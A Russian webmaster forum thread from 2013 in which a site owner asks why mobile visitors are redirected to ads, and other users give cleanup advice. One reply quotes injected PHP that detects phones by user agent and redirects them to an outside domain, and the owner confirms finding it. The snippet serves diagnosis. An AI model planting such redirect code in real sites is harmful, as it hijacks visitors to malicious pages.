Заражен сайт помогите

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:42

Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Позитивный человек

moretz-rf

Сообщений: 267 Регистрация: Апр 2013

14 Апреля 2013 23:50

Цитата

Позитивчег пишет:
Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

Изменено: moretz-rf - 14 Апреля 2013 23:51

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:53

Вы скажите по сути в чем проблема именно где может скрипт залит, но я ничего не нашел

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:06

Цитата
Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

При чем тут вообще хостинг?? Тем более за такую баснословную цену. Или лишь бы ляпнуть что нибудь?
Автору - поищите заразу в .htaccess. Даже если у главного домена на хостинге там зараза сидит, то и дополнительные домены все будут редиректить на мобильную хрень. Потом поменяйте пароли на фтп и на хостинге

Coder

Сообщений: 10625 Регистрация: Мар 2013

15 Апреля 2013 00:06

1. проверьте тщательно компы, с которых подсоединяетесь к сайту - фтп, антивирусными программами
2. Удалите из фтп клиентов все сохраненные пароли.
3. Поменяйте все фтп пароли.
4. проверьте все файлы, особенно вновь измененные и сравните с эталонными от СМС
5. Проверьте все js скрипты
6. скачайте скрипт Ай-Болит: revisium.com/ai/
7. примерно так. если шаблон шарезный или нуленая смс, то обратите внимание - вредоносное может быть зашито в них изначально.

Дополнительно по ай-болиту: revisium.com/kb/scan_site_windows.html

Изменено: Coder - 15 Апреля 2013 00:10

✓ Проверенные скрипты и полезности для сайта

✓ Курсы

✓ Сервис временных ссылок

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

обновлял полностью все файлы ничего не помогает в том числе и htaccess, при заходе с тела сразу редирект на вирусняк

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

хостинг moyhosting.com

Coder

Сообщений: 10625 Регистрация: Мар 2013

15 Апреля 2013 00:13

По ай-болиту посмотрите еще здесь: revisium.com/kb/virusonsite.html

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:16

Айболит чет мне не помог. Больше минуты не сканирует, а файлов много и не успевал за это время. Приходилось вручную искать

Coder

Сообщений: 10625 Регистрация: Мар 2013

#10

15 Апреля 2013 00:24

Цитата
mazesk пишет: Приходилось вручную искать

Все механизированные средства лишь дополнения к работе самого человека. Но при неприятности лучше воспользоваться всем, что имеется - больше вероятность качества.

fortnoxby

Сообщений: 390 Регистрация: Авг 2012

#11

15 Апреля 2013 00:27

Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

Coder

Сообщений: 10625 Регистрация: Мар 2013

#12

15 Апреля 2013 00:28

Цитата
mazesk пишет: поищите заразу в .htaccess

Редирект может быть и средствами php и js : htaccesstools.com/articles/redirection/

mazesk

Сообщений: 105 Регистрация: Янв 2013

#13

15 Апреля 2013 00:30

Да я ж не против

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

#14

15 Апреля 2013 00:33

Цитата

fortnoxby пишет:
Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

да действительно есть такое) интересно как оно туда попало?

Coder

Сообщений: 10625 Регистрация: Мар 2013

#15

15 Апреля 2013 00:33

Цитата
mazesk пишет: Да я ж не против

Я это к тому, что лучше бы везде искать, и сразу по всем возможным направлениям.

Похожие темы:

14.12.2025 12:05	DLE не создает бэкап с админки сайта, как быть?
23.02.2020 20:28	Перевод сайта на англ.язык
28.07.2019 09:45	Перенос описания категории вниз сайта, под посты
26.06.2019 18:48	Сайт неправильно отдаёт 404
17.06.2019 09:37	Помощь по сайту

Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
18:44 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 13:43 Стоит ли добавлять сайт в Rambler топ 100? 13:12 Покупные ссылки 12:57 Rotapost прикрыли! Чем пользоваться? 15:12 Ночной бар в Паттайе: как случайная встреча с "тайкой" и её кадыком перевернула мой взгляд на продвижение сайта в Google 2026 15:01 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 07:24 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг	04:11 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 23:37 Продажа горячих лидов и готовых баз для финансовых проектов, брокеров и чарджбэк-компаний. 22:59 SnapSwap.io — мгновенный обмен BTC, XMR, ETH, USDT и других криптовалют без регистрации! 21:50 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 14:47 CryptoMonitor.info - ваш надеждный обменник BTC USDT XMR (без KYC) 12:40 Mixmasters - Exchange without AML and KYC 11:11 CryptoGraph — Анонимный обмен криптовалют без KYC и AML	22:59 Про мясо 15:07 Добро пожаловать в цифровой мир... 22:12 BYTIK.shop – сервис по продвижению в популярных социальных сетях 10:10 накрутка трафика в SimilarWeb 16:50 Компьютерная мышь 22:11 С юмором по жизни! 23:03 Точные прогнозы на футбол